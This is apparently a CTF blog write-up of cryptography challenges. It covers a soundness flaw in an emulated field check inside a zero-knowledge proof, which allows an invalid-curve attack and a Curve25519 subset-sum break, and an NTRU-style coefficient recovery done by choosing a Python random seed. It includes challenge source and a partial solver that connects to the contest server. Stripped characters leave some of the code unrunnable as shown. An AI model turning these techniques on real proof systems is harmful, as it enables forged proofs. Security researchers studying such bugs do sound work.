1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/sage
import hashlib
 
def solve_part1():
    SUB_TABLE = set() # contains (a, b, c) such that a - b == c (mod p)
    MUL_TABLE = set() # contains (a, b, c) such that a * b == c (mod p)
    REGISTERED_EC = set() # contains elliptic curve points in y^2 = x^3 + 7 (mod p)
    REGISTERED_X = set() # contains x-coordinates of a elliptic curve point of REGISTERED_EC
 
    bn254 = 21888242871839275222246405745257275088696311157297823662689037894645226208583
    p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
    
    x_start = int(input()) % p 
    y_start = int(input()) % p
    assert (y_start * y_start) % p == (x_start * x_start * x_start + 7) % p 
 
    # this target value is the target x-coordinate
    target = int.from_bytes(hashlib.sha256(str(x_start).encode() + b"#" + str(y_start).encode()).digest(), "big") % p 
 
    # (x_start, y_start) is known to be a valid elliptic curve point
    REGISTERED_EC.add((x_start, y_start))
    REGISTERED_X.add(x_start)
 
    count = 0
    while True:
        count += 1
        assert count < 20000
        whi = int(input())
        if whi == 1 or whi == 2:
            a = int(input())
            b = int(input())
            quotient = int(input())
            result = int(input())
            assert 0 <= a < (1 << 256)
            assert 0 <= b < (1 << 256)
            assert 0 <= quotient < (1 << 256)
            assert 0 <= result < (1 << 256)
            if whi == 1:
                # add (a, b, result) in SUB_TABLE
                assert (a - b + p - quotient * p - result) % bn254 == 0 
                assert (a - b + p - quotient * p - result) % (1 << 256== 0
                SUB_TABLE.add((a, b, result))
            if whi == 2:
                # add (a, b, result) in MUL_TABLE
                assert (a * b - quotient * p - result) % bn254 == 0 
                assert (a * b - quotient * p - result) % (1 << 256== 0
                MUL_TABLE.add((a, b, result))
        if whi == 3:
            # check two points (x1, y1), (x2, y2) are already registered elliptic curve points
            # check (x3, y3) = (x1, y1) + (x2, y2) via elliptic curve addition
            # valid computation over (mod p) is checked by SUB_TABLE and MUL_TABLE
            x1 = int(input())
            y1 = int(input())
            x2 = int(input())
            y2 = int(input())
            assert (x1, y1) in REGISTERED_EC # check (x1, y1) is a known valid elliptic curve point
            assert (x2, y2) in REGISTERED_EC # check (x2, y2) is a known valid elliptic curve point
            lam = int(input())
            if x1 == x2 and y1 == y2: # point doubling algorithm
                x_sq = int(input())
                x_sq_3 = int(input())
                y_2 = int(input())
                y_2_inv = int(input())
                assert (x1, x1, x_sq) in MUL_TABLE # check x_sq = x1^2
                assert (x_sq, 3, x_sq_3) in MUL_TABLE # check x_sq_3 = 3 * x1^2
                assert (y1, 2, y_2) in MUL_TABLE # check y_2 = 2 * y1
                assert (y_2, y_2_inv, 1in MUL_TABLE # check y_2_inv = 1 / (2 * y1)
                assert (x_sq_3, y_2_inv, lam) in MUL_TABLE # check lam = (3 * x1^2) / (2 * y1)
            else:
                y_diff = int(input())
                x_diff = int(input())
                x_diff_inv = int(input())
                assert (y2, y1, y_diff) in SUB_TABLE # check y_diff = y2 - y1
                assert (x2, x1, x_diff) in SUB_TABLE # check x_diff = x2 - x1
                assert (x_diff, x_diff_inv, 1in MUL_TABLE # check x_diff_inv = 1 / (x2 - x1)
                assert (y_diff, x_diff_inv, lam) in MUL_TABLE # check lam = (y2 - y1) / (x2 - x1)
            lam_sq = int(input())
            lam_sq_minus_x1 = int(input())
            x_final = int(input())
            x1_minus_x_final = int(input())
            lam_mul_x1_minus_x_final = int(input())
            y_final = int(input())
            assert (lam, lam, lam_sq) in MUL_TABLE # check lam_sq = lam^2
            assert (lam_sq, x1, lam_sq_minus_x1) in SUB_TABLE # check lam_sq_minus_x1 = lam^2 - x1
            assert (lam_sq_minus_x1, x2, x_final) in SUB_TABLE # check x_final = lam^2 - x1 - x2
            assert (x1, x_final, x1_minus_x_final) in SUB_TABLE # check x1_minus_x_final = x1 - x_final
            assert (lam, x1_minus_x_final, lam_mul_x1_minus_x_final) in MUL_TABLE  # check lam_mul_x1_minus_x_final = lam * (x1 - x_final)
            assert (lam_mul_x1_minus_x_final, y1, y_final) in SUB_TABLE # check y_final = lam * (x1 - x_final) - y1
            REGISTERED_EC.add((x_final, y_final)) # add (x_final, y_final) to REGISTERED_EC
            REGISTERED_X.add(x_final) # add x_final to REGISTERED_X
        if whi == 4:
            break 
 
    assert target in REGISTERED_X # end with the target x-coordinate in REGISTERED_X
 
def solve_part2():
    ADD_TABLE = set() # contains (a, b, c) such that a + b == c (mod p)
    MUL_TABLE = set() # contains (a, b, c) such that a * b == c (mod p)
    
    # Curve25519
    p = (1 << 255- 19 
    E = EllipticCurve(GF(p), [0486662010])
    G = E(GF(p)(9), GF(p)(43114425171068552920764898935933967039370386198203806730763910166200978582548))
    
    # Commit a set of NUM_POINTS points in Curve25519
    NUM_POINTS = 165
    commit = bytes.fromhex(input().strip())
    assert len(commit) == 32 * NUM_POINTS 
 
    # this is the target point on Curve25519
    target = int.from_bytes(hashlib.sha256(commit).digest(), "big"* G
 
    # Add tuples to ADD_TABLE and MUL_TABLE by submitting proofs
    count = 0
    while True:
        count += 1
        assert count < 20000
        whi = int(input())
        if whi == 1 or whi == 2:
            a = int(input())
            b = int(input())
            quotient = int(input())
            result = int(input())
            assert 0 <= a < (1 << 256)
            assert 0 <= b < (1 << 256)
            assert 0 <= quotient < (1 << 256)
            assert 0 <= result < (1 << 256)
            if whi == 1:
                assert (a + b - (quotient * p + result)) % (1 << 512== 0
                ADD_TABLE.add((a, b, result))
            if whi == 2:
                assert (a * b - (quotient * p + result)) % (1 << 512== 0
                MUL_TABLE.add((a, b, result))
        if whi == 3:
            break
    
    # submit a bitmask corresponding to a subset
    # the subset sum of the points you committed before must equal to the target point
    bmask = int(input())
    assert 0 <= bmask < (1 << NUM_POINTS)
    
    tot = 0 * G
 
    for i in range(NUM_POINTS):
        if ((bmask >> i) & 1== 0# the bitmask doesn't contain the i'th point, so skip
            continue 
        # the bitmask contains the i'th point
        # decompress the 32 bytes, with proof, to obtain a point on Curve25519
        x = int(input())
        y = int(input())
        top_value = int(input()) 
        x_sq = int(input())
        x_cube = int(input())
        x_sq_486662 = int(input())
        sum1 = int(input())
        sum2 = int(input())
        # x_sum is the x-coordinate encoded in the 32 byte compressed format
        x_sum = 0
        for j in range(32):
            x_sum += commit[i * 32 + j] * (256 ** j)
        x_sum &= ((1 << 255- 1)
        # bit is the parity of the y-coordinate encoded in the 32 byte compressed format
        bit = (commit[i * 32 + 31>> 7& 1
        assert x == x_sum # check x matches the encoded x-coordinate
        assert 0 <= top_value < (1 << 255
        assert y == top_value * 2 + bit # check bit matches the parity of y
        assert (x, x, x_sq) in MUL_TABLE # check x_sq = x^2
        assert (x, x_sq, x_cube) in MUL_TABLE # check x_cube = x^3
        assert (x_sq, 486662, x_sq_486662) in MUL_TABLE # check x_sq_486662 = 486662 * x^2
        assert (x_cube, x_sq_486662, sum1) in ADD_TABLE # check sum1 = x^3 + 486662 * x^2
        assert (sum1, x, sum2) in ADD_TABLE # check sum2 = x^3 + 486662 * x^2 + x 
        assert (y, y, sum2) in MUL_TABLE # check y^2 = x^3 + 486662 * x^2 + x, so (x, y) is in Curve25519
        recovered_point = E(GF(p)(x), GF(p)(y)) 
        tot += recovered_point # add the recovered point to the subset sum
    
    assert tot == target # assert the subset sum matches the target point
 
solve_part1()
print("PART 1 SOLVED!")
 
solve_part2()
print("PART 2 SOLVED!")
 
flag = open("flag.txt""r").read()
print(flag)
cs

 

Part 1

You have access to proving subtraction and multiplication over $\mathbb{F}_p$, and using that, you can prove elliptic curve addition over secp256k1. From this, by using the provable elliptic curve addition, your goal is to provide $(x, y)$ inside secp256k1 such that you can provide a provable addition chain to the elliptic curve point with $H(x, y)$ as the x-coordinate. In other words, you need to find the discrete logarithm between $(x, y)$ and the point with $H(x, y)$ as the x-coordinate. Of course, raw discrete logarithm is hard in secp256k1.

 

The idea is in the faulty emulated finite field in the subtraction/multiplication proof.

 

Note that we are checking $a - b + p - q \cdot p - r = 0$ with the equation (here $l$ is the bn254 prime) $$a - b + p - q \cdot p - r \equiv 0 \pmod{l \cdot 2^{256}}$$ This isn't actually sound, as $q \cdot p$ can go as high as $2^{512}$, larger than the modulo of the equation above. Indeed, we can try $$a - b + p - q \cdot p + l \cdot 2^{256} = r$$ so in a way, we can get $r$ to be $l \cdot 2^{256} \pmod{p}$ more than what it's supposed to be. Similar ideas work for multiplication. 

 

This allows us to do weird things with the elliptic curve addition - so we can try an invalid curve attack. As secp256k1 is of the form $y^2 = x^3 + b$, we can try to move to the curve $y^2 = x^3$, where discrete logarithm is easy as a finite field operation as the curve is singular. Now the goal would be to find the starting point on secp256k1 such that after a single attack on subtraction/multiplication, the point lies on $y^2 = x^3$. This can be written as a system of polynomial equations with $x, y$, so the usual tricks with resultants or Groebner basis, or even manual reduction to a single variable equation works. I used manual reduction, and rbtree used Groebner basis. 

 

One of the solvers told me that a bruteforce for a smooth curve order ($p_{max} \approx 10^{15}$) worked, albeit painful. 

 

The idea was taken by this vulnerability report in ZKP systems. See #2. 

 

Part 2

You have to provide 165 points on Curve25519 in compressed form, and the hash of those points is the target point for subset sum. You then have to provide which of the 165 points will be the subset which sums to the target, while also providing the decompression proof that the compressed points decompress to the claimed result. Intuitively, $2^{165} \ll p$, so standard method doesn't work. 

 

The main idea here is that $y$ can be larger than $p$. Therefore, if the $b$ is the bit and $y$ is the square root of $sum2$ that is less than $p$ with $b$ as its LSB, one can actually use $y' = 2p - y$ which also has $b$ as its LSB. However, as $y' \pmod{p} = p - y$, we see that $(x, y')$ and $(x, y)$ are different points. Using this, we can actually make three decisions for each point - not use it, use $y$, or use $y'$. Now $3^{165} \approx 2^{262} \gg p$.

 

Now this challenge is a puzzle: you have to find a set $S$ such that you can easily solve the modified subset sum $$\sum_S c_i s_i = T, \quad c_i \in \{-1,0,1\}$$ as the $3^n$ thing suggests, this can be solved via ternary systems, setting $s_i = 3^i$. See balanced ternary systems.

 

There is a catch - you need to prove that $(2p - y)^2 \equiv sum2 \pmod{p}$. To do so, you need to provide $0 \le q < 2^{256}$ such that $$(2p-y)^2 = q \cdot p + sum2$$ which means that $$2p-y < \sqrt{2^{256} \cdot p} \approx \sqrt{2} p$$ forcing $y > (2 - \sqrt{2})p \approx 0.6p$. Therefore, this technique doesn't work for all $y$. 

 

This can be resolved as follows. Select the $i$th point as $3^i \cdot v_i \cdot G$ where $v_i$ is small positive integer, and not a multiple of $3$.

In this case, solving subset sum to $N$ with values $v_0, 3v_1, 9v_2, \cdots$ can be done recursively as follows

  • if $N \equiv 0 \pmod{3}$, solve $N/3$ with $v_1, 3v_2, 9v_3, \cdots$
  • if $N \equiv v_0 \pmod{3}$, solve $(N-v_0)/3$ with $v_1, 3v_2, 9v_3, \cdots$
  • if $N \equiv -v_0 \pmod{3}$, solve $(N+v_0)/3$ with $v_1, 3v_2, 9v_3, \cdots$

as we can see, the value of $N$ decreases exponentially - so at some point, the value of $N$ will become small regardless - say, within $[-40, 40]$. The unfortunate part is that we don't know if it will become exactly zero. In practice, it turns out that $N$ does become zero.

 

Here, we show a much more intuitively sound way for a finish. Since $3^{163}$ is sufficiently large, what we can do is to do the $3^i \cdot v_i \cdot G$ for $0 \le i < 164$, but set the final 164th point to be a random elliptic curve point. This point will not be used for subset sum, but it will be used to try out various target points, as the target point is the hash of the entire set of 165 points. This way, we can try various target points, and clearly with a sufficient probability we will be able to find a target point in which $N$ does become exactly zero.   

 

An alternate way by Mystiz is to have use $v_0, 3v_0, \cdots 3^{14} v_0, v_1, 3v_1, \cdots, 3^{14} v_1, \cdots v_{10}, \cdots, 3^{14} v_{10}$ and so on - then, one can try to solve for $\sum_{i=0}^{10} c_i v_i = T$ with small coefficients $c_i$ via LLL. Here, the catch is that $3^0 v_i, 3^1 v_i, \cdots, 3^{14} v_i$ must have working set of $y$-coordinates, but since there's only 15 points this actually works with high probability. Note that while we mentioned $y > 0.6p$, we can also handle $y < 0.4p$ using $p+y$ and $p-y$. Therefore, only 20% of the points fail to use this trick, and $0.8^{15}$ is definitely brute-forcable. 

 

The idea was taken by this vulnerability report in ZKP systems. See #9. 

'CTF' 카테고리의 다른 글

Paradigm CTF 2023 2nd Place  (0) 2023.10.31
CODEGATE 2023 Finals - The Leakers (1 solve)  (1) 2023.08.25
ACSC 2023 Writeups  (0) 2023.02.26
HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21

'CTF' 카테고리의 다른 글

ACSC 2024: Strange Machine (4 solves)  (0) 2024.03.31
CODEGATE 2023 Finals - The Leakers (1 solve)  (1) 2023.08.25
ACSC 2023 Writeups  (0) 2023.02.26
HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/sage
import random
import hashlib
import os
import signal 
 
signal.alarm(1800)
 
def PoW():
    prefix = os.urandom(8)
    print(prefix.hex())
    answer = bytes.fromhex(input().strip())
    assert len(answer) == 24
    result = hashlib.sha256(prefix + answer).digest()
    assert result[:3== b"\x00\x00\x00"
 
= PolynomialRing(ZZ, 'x')
= P.gen()
 
def convolution(n, f, g):
    return (f * g) % (x ** n - 1)
 
def balance_mod(f, q):
    tt = f.coefficients(sparse = False)
    ret = 0
    for i in range(len(tt)):
        cc = int((tt[i] + q // 2) % q) - q // 2
        ret += cc * (x ** i)
    return ret
 
def random_poly(n, v1, v2):
    ret = v1 * [1+ v2 * [-1+ (n - v1 - v2) * [0]
    random.shuffle(ret)
    return P(ret)
 
def invert_prime(n, f, p):
    T = P.change_ring(GF(p)).quotient(x ** n - 1)
    ret = P(lift(1 / T(f)))
    return balance_mod(ret, 3)
 
def pad(n, arr):
    while len(arr) < n:
        arr.append(0)
    return arr
 
def encode(n, arr):
    res = 0
    for i in range(n):
        assert -1 <= arr[i] <= 1
        res += (arr[i] + 1* (3 ** i)
    return res 
 
def task1(n, D):
    random.seed(int.from_bytes(os.urandom(32), "big"))
    f = random_poly(n, n // 3 + 1, n // 3)
    f3 = invert_prime(n, f, 3)
 
    random.seed(int.from_bytes(os.urandom(32), "big"))
    sel1 = random.sample(range(n), D)
    random.seed(int.from_bytes(os.urandom(32), "big"))
    sel2 = random.sample(range(n), D)
 
    coef_original = pad(n, f.coefficients(sparse = False))
    coef_inverse = pad(n, f3.coefficients(sparse = False))
 
    for i in range(D):
        coef_original[sel1[i]] = 0
        coef_inverse[sel2[i]] = 0
    
    print(sel1)
    print(sel2)
    print(encode(n, coef_original))
    print(encode(n, coef_inverse))
 
    assert int(input()) == encode(n, pad(n, f.coefficients(sparse = False)))
    assert int(input()) == encode(n, pad(n, f3.coefficients(sparse = False)))
 
def task2(n, D):
    random.seed(int.from_bytes(os.urandom(32), "big"))
    f = random_poly(n, n // 3 + 1, n // 3)
    f3 = invert_prime(n, f, 3)
    
    seed = int(input())
    random.seed(seed)
 
    sel1 = random.sample(range(n), D)
    sel2 = random.sample(range(n), D)
 
    coef_original = pad(n, f.coefficients(sparse = False))
    coef_inverse = pad(n, f3.coefficients(sparse = False))
 
    for i in range(D):
        coef_original[sel1[i]] = 0
        coef_inverse[sel2[i]] = 0
    
    print(sel1)
    print(sel2)
    print(encode(n, coef_original))
    print(encode(n, coef_inverse))
 
    assert int(input()) == encode(n, pad(n, f.coefficients(sparse = False)))
    assert int(input()) == encode(n, pad(n, f3.coefficients(sparse = False)))
 
PoW()
for _ in range(8):
    task1(241183)
for _ in range(8):
    task2(85012125)
 
flag = open("flag.txt""r").read()
print(flag)
cs

 

We are given two polynomials $f, f_v$ such that $f \cdot f_v \equiv 1 \pmod{x^n - 1}$, but some $D$ of the coefficients are erased. We have to recover $f, f_v$ completely, in a relatively fast and reliable fashion. The erasure positions are also given by the server.

 

For the first task, $(n, D) = (2411, 83)$ and the erasure positions are completely random. 

For the second task, $(n, D) = (8501, 2125)$ and the erasure positions can be controlled by a user provided seed. 

 

Task 1

By setting a variable for each erased coefficient, we will have a system of $n$ quadratic equations over $2D$ variables in $\mathbb{F}_3$. However, the interesting part is that some of the quadratic equations are actually just linear. For example, if we denote $S_1$ and $S_2$ as the set of erased coefficient's degree in $f$ and $f_v$ respectively, we can see that the equation arising from computing the coefficient of $x^k$ in $f \cdot f_v \pmod{x^n - 1}$ will be simply linear if there are no $u \in S_1$ and $v \in S_2$ such that $u + v \equiv k \pmod{n}$. 

 

By collecting these equations and solving the linear system, we will be closer to finding the solutions for the $2D$ variables.

However, after implementing this you can see that there will be a nontrivial kernel, of size around 40 to 50. 

 

This can be resolved in two ways. 

  • The author's intended solution is to modify the given system as a system of $n$ quadratic equations over $K$ variables, where $K$ is the size of the kernel. This can be done simply by expressing the solution set of the $2D$ variables as a single solution added with a vector in the span of the computed kernel basis. As $K$ is much smaller than $2D$, we can actually solve this quadratic equation system by linearization. In other words, we can regard all quadratic terms as a separate linear variable, and solve the linear system over $\mathcal{O}(K^2)$ variables. This fails if $K$ is large, but such probability is small enough so that you can just try repeatedly.  
  • soon-haari's solution works by selecting variables so that fixing it will add as many linear equations as possible, then brute forcing them. Apparently, brute forcing around 3 to 7 variables makes it sufficient to solve everything with a linear system. This was considered by the author as well, but was considered to be of similar difficulty. Congratulations to soon-haari for the solve!

 

Task 2

From solving task 1, it should be clear that the goal should be to create as many linear equations as possible, and the best way to do it is by making the erased coefficients consecutive in their positions. Note that $D = n/4$. Now how do we do that?

 

Looking at the sample implementation, we can see that the random sampling works by 

  • selecting a random number below $n - i$
  • taking the value at that index
  • swapping with the value at position $n - i - 1$ so it's not selected again
1
2
3
4
5
6
7
8
if n <= setsize:
    # An n-length list is smaller than a k-length set.
    # Invariant:  non-selected at pool[0 : n-i]
    pool = list(population)
    for i in range(k):
        j = randbelow(n - i)
        result[i] = pool[j]
        pool[j] = pool[n - i - 1]  # move non-selected item into vacancy
cs

 

The first idea is that our consecutive selections should be between $3n/4$ and $n$ - this is because if we try to pick everything from the front, the whole swapping process with the elements from the back makes everything very complicated. By picking everything at the back, the swapping process doesn't matter. Our goal is that for each $0 \le i < 2D$, the $i$th randbelow call should return a value $x$ such that $$n - D \le x < n - (i \pmod{D})$$ To do this efficiently, we need to minimize the number of bits we constrain from the randbelow results.

 

This can be done by finding $t, e$ such that $$n - D \le t \cdot 2^e < (t + 1) \cdot 2^e \le n - (i \pmod{D})$$ and maximizing $e$. Now, it suffices to constrain that the randbelow result is equal to $t$ after being shifted right $e$ bits. 

 

With this constraint in mind, finding the random seed is a relatively standard & well-known part. Check 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
from sage.all import * 
from pwn import * 
import os, time
from tqdm import tqdm
 
master_seed = 60024794038789808135493353697686616908493063225185396948889991711002019881012260998892909674537714109874172336760379200731611344495379266686257170624293028615555926994680615436128867836845735901814299032623034279895233846538952693992950207880205125875448087855836772541821353895968629329852908028951482292046429634872159757554409659745842900181726502284855318484066778535471595292549152348723264514710398644809539021921578114599851865111153331428784733149637717776626956886869295212600036738540930509437369722973201969837169465390106295804865432397396740692302797829400696350801197455057637221980617059842112641232969233787118965053967785222933031549323453023915303961246528225916509962869051725570255571786695958227355527242709785066976431806251198382777530714413831824130431722178073034419423922524991559359620024288713328086359403414933794337286671654435418265857597949112504278406015704720441696610732129686376522250690959070825600070450708353622473071494975779294350695405558303914530098365686912502766894493961489506186331053557290449360412540423892253756102487513806029093829893795865411528046974478581984437329446430455654183382959047805022370700975782191280373163986285947944114008525799059163331940037604447345980775790916325310887097685957858367094306509865450306900924968543630281114344776628409464077904562522114091218110199532185567329195460558546578726337659844292296095730138395687853467464686825377362140525018332064336498037333745669506410885086785171181512953442077146559888185321193265161347864107827758406549956890513622009827054983736589580372571827584944816635338237441722836404122046830295098128877031939911864423063671844869052268187006757023952046083313268542630040867977783706755657741531230633393603995284157154279750477826730638935203116032077204427304499208757288061746193707867350153416770764821598920213730711114965590743331727312353459097800387002408397658122900984840808246371821451013961389731787227009157398692371099660858182271036744448166340400895784346173287333244495255001791730081569336839520662381405144290409455974037142516983228317936699727842606081642240578844883094341186246580921199983915842081314638611291380152731368056730650469228559623662052531729887982086548223154333361363334651179104285034483322425275792671395416574805801066174116333550082050898468922185218775818163991247447213512072133729905831026979204387449740237107250035767499446745374366910625527910665062130250560706824973131871130316743119025554746764821434156674317934199946146598426673815806872877856328467376086085059620030855489151545303043307029412045887534894425887717583117437877318171620007894084301274965980741305242376340156346230267114570705189461331266648670135971622540649186222606301719344988665012528312715455324776650769063545393847491422947171743363094737848164203527815500665056795598783088145237029472339734427963849835022178538693065735805207641271044631695148529356782873975936571285135245429745146108036491430498162500763656245871098506267158087440237750159751664863211065697979948218429442546498813889729910223944717520161604727418685340138991981985619225849416335059973922841803883389393526433881970295102025473967271242147333800098274311358630381328801550779263853582690762954190377450436922016091335950930865947431088321016971794583463543506805777276891066135310863296397756985031896218023594355682462504506734940500365812292755553197773898889660699577561530145492927609494642174649101705826746672666183294279559291981779160964522297534960255063618332466976614501183228998682729197968575051178082566996628571473801354118883690941507931744401374987244372715844496021747653016503181871565513365490311937754665491041784007233799634349717657539855346128371782526748645254711640975576359645995419371902147356469195156372805778603944262661098290749863028288989422941985200606780481844930898792872531924601622394832468102957298372210031427732699319934781107988301247600593511823195668971916883951609735878765097692081037005879736118141874324737540398705286288988681436765122193427285686784758267811646782109984193537493517035025336405137273109568869777622232503118830613665850700496192371337485618910625319419657584661501620375974836832411786322507731977027575625783250266414378787148900895983949856500564564779297830591427575079297862649141244375485805801593463197364935921063290595220319427752540805812417257433276354627419044442018101969592668555978348415720913743417010710043519932066341337349002366227396881340998080393401376080508879416483875634105463190312058370838700500096751599290858489939320163312460446194287943741486626465044167916764309453265867227749001640757524516320238197501217997176854839242256247737322846205881431327708198117910578431481983383453719767475910167265170827225409678070198207927333097671611616080671517652067086557349582167623754660313732259984661354739151828000954072261669966765373367625577786880673420597700680012679943342785274712575950904993112141660047795983847702513444872812047642230003916360543076277750525218857399197096056760230787156929311820632995878912539801079019446915728253563406722059879474176881696819163446675139576322957663476859383520766444528469597928076769925748138660178853642739598139933326858259371267626938125840719239557084994647877357315029370116939357392564073911953692514212255988095253356674531690329478518006539330700869866952658773265849967085817409436103360317583749880904176992380298324586178020697936498010899061947345939204960967177164006648986295804937160615262813770879693445967104259390803516524422802908637470251797969593148039038477540080340954624195569529253847629154075274257199861147125055216614817003693519884916983205377401473762967508445819467333797312883675275497717519827470702088770584690428550650158813144401296875683289360897009594467643245700773535411913797121904382044029865707340324833895400600974009981197992647586507846704616021687940777933174900551897716451821657379278722485819954967117168842871510763631682184488735137792120697666469419973009451057094047507237995094164031163468702
 
= PolynomialRing(ZZ, 'x')
= P.gen()
 
# r = process(['sage', '../prob/for_organizer/task.sage'])
= remote("52.79.59.27"17776)
 
def solvePoW():
    PoW_start = time.time()
    prefix = bytes.fromhex(r.recvline().strip().decode())
    cnt = 0
    while True:
        cnt += 1
        if cnt % 1000000 == 0:
            print(cnt)
        ret = os.urandom(24)
        result = hashlib.sha256(prefix + ret).digest()
        if result[:3== b"\x00\x00\x00":
            r.sendline(ret.hex())
            break
    PoW_end = time.time()
    print("PoW", PoW_end - PoW_start)
 
def balance_mod(f, q):
    tt = f.coefficients(sparse = False)
    ret = 0
    for i in range(len(tt)):
        cc = int((tt[i] + q // 2) % q) - q // 2
        ret += cc * (x ** i)
    return ret
 
def pad(n, arr):
    while len(arr) < n:
        arr.append(0)
    return arr
 
def encode(n, arr):
    res = 0
    for i in range(n):
        assert -1 <= arr[i] <= 1
        res += (arr[i] + 1* (3 ** i)
    return res 
 
def decode(n, v):
    ret = [0* n 
    for i in range(n):
        ret[i] = v % 3 - 1
        v = v // 3 
    return ret
 
def read_input(n, D):
    s1 = r.recvline()
    s2 = r.recvline()
    if b"Traceback" in s1:
        for _ in range(20):
            print(r.recvline())
    sel1 = eval(s1)
    sel2 = eval(s2)
    coef_original = decode(n, int(r.recvline().strip()))
    coef_inverse = decode(n, int(r.recvline().strip()))
    return sel1, sel2, coef_original, coef_inverse
 
def solve_init(n, D, sel1, sel2, coef_original, coef_inverse):
    mat, vec = [], []
    isok = [1 for _ in range(n)]
    for i in range(D):
        for j in range(D):
            isok[(sel1[i] + sel2[j]) % n] = 0
    
    idxs1 = [-1* n 
    idxs2 = [-1* n 
    for i in range(D):
        idxs1[sel1[i]] = i 
        idxs2[sel2[i]] = i
    
    for i in tqdm(range(n)):
        if isok[i] == 1:
            coefs = [0* (2 * D)
            val = 0
            if i == 0:
                val = 1
            for j in range(n):
                if idxs1[j] != -1:
                    coefs[idxs1[j]] = coef_inverse[(i - j) % n]
                if idxs2[(i - j) % n] != -1:
                    coefs[idxs2[(i - j) % n] + D] = coef_original[j]
                if idxs1[j] == -1 and idxs2[(i - j) % n] == -1:
                    val -= coef_original[j] * coef_inverse[(i - j) % n]
            mat.append(coefs)
            vec.append(val % 3)
    
    M = Matrix(GF(3), mat)
    v = vector(GF(3), vec)
    sol = M.solve_right(v)
 
    kernel = M.right_kernel().basis()
    return sol, kernel 
 
def solve_task1(n, D):
    sel1, sel2, coef_original, coef_inverse = read_input(n, D)
 
    sol, kernel = solve_init(n, D, sel1, sel2, coef_original, coef_inverse)
 
    idxs1 = [-1* n 
    idxs2 = [-1* n 
    for i in range(D):
        idxs1[sel1[i]] = i 
        idxs2[sel2[i]] = i
 
    fvar = len(kernel)
    print(fvar)
    tot = fvar + (fvar * (fvar - 1)) // 2 + fvar
 
    idxs = [[0 for _ in range(fvar)] for _ in range(fvar)]
    for i in range(fvar):
        idxs[i][i] = i
    
    cur = fvar 
    for i in range(fvar):
        for j in range(i + 1, fvar):
            idxs[i][j] = cur
            cur += 1
    
    def single(x):
        return fvar + fvar * (fvar - 1// 2 + x
 
    def wow(x1, x2):
        if x1 == x2:
            return x1
        else:
            if x1 > x2:
                x1, x2 = x2, x1
            return idxs[x1][x2]
 
    mat = []
    vec = []
 
    for i in tqdm(range(n)):
        coefs = [0* tot
        val = 0
        if i == 0:
            val = 1
        for j in range(n):
            # [j] * [i - j]
            if idxs1[j] == -1 and idxs2[(i - j) % n] == -1:
                val -= coef_original[j] * coef_inverse[(i - j) % n]
            if idxs1[j] == -1 and idxs2[(i - j) % n] != -1:
                idx2 = idxs2[(i - j) % n]
                val -= coef_original[j] * sol[idx2 + D]
                for k in range(fvar):
                    coefs[single(k)] += coef_original[j] * kernel[k][idx2 + D]
            if idxs1[j] != -1 and idxs2[(i - j) % n] == -1:
                idx1 = idxs1[j]
                val -= coef_inverse[(i - j) % n] * sol[idx1]
                for k in range(fvar):
                    coefs[single(k)] += coef_inverse[(i - j) % n] * kernel[k][idx1]
            if idxs1[j] != -1 and idxs2[(i - j) % n] != -1:
                idx1 = idxs1[j]
                idx2 = idxs2[(i - j) % n]
                val -= sol[idx1] * sol[idx2 + D]
                for k in range(fvar):
                    coefs[single(k)] += sol[idx1] * kernel[k][idx2 + D]
                    coefs[single(k)] += sol[idx2 + D] * kernel[k][idx1]
                for k1 in range(fvar):
                    for k2 in range(fvar):
                        coefs[wow(k1, k2)] += kernel[k1][idx1] * kernel[k2][idx2 + D]
        mat.append(coefs)
        vec.append(val)
 
    M = Matrix(GF(3), mat)
    v = vector(GF(3), vec)
    final_sol = M.solve_right(v)
 
    fins = [0* (2 * D)
 
    for i in range(2 * D):
        fins[i] += sol[i]
    
    for i in range(2 * D):
        for j in range(fvar):
            fins[i] += final_sol[single(j)] * kernel[j][i]    
 
    recover_f = 0
    recover_f3 = 0
    for i in range(n):
        if i in sel1:
            recover_f += fins[sel1.index(i)] * (x ** i)
        else:
            recover_f += coef_original[i] * (x ** i)
    
    for i in range(n):
        if i in sel2:
            recover_f3 += fins[sel2.index(i) + D] * (x ** i)
        else:
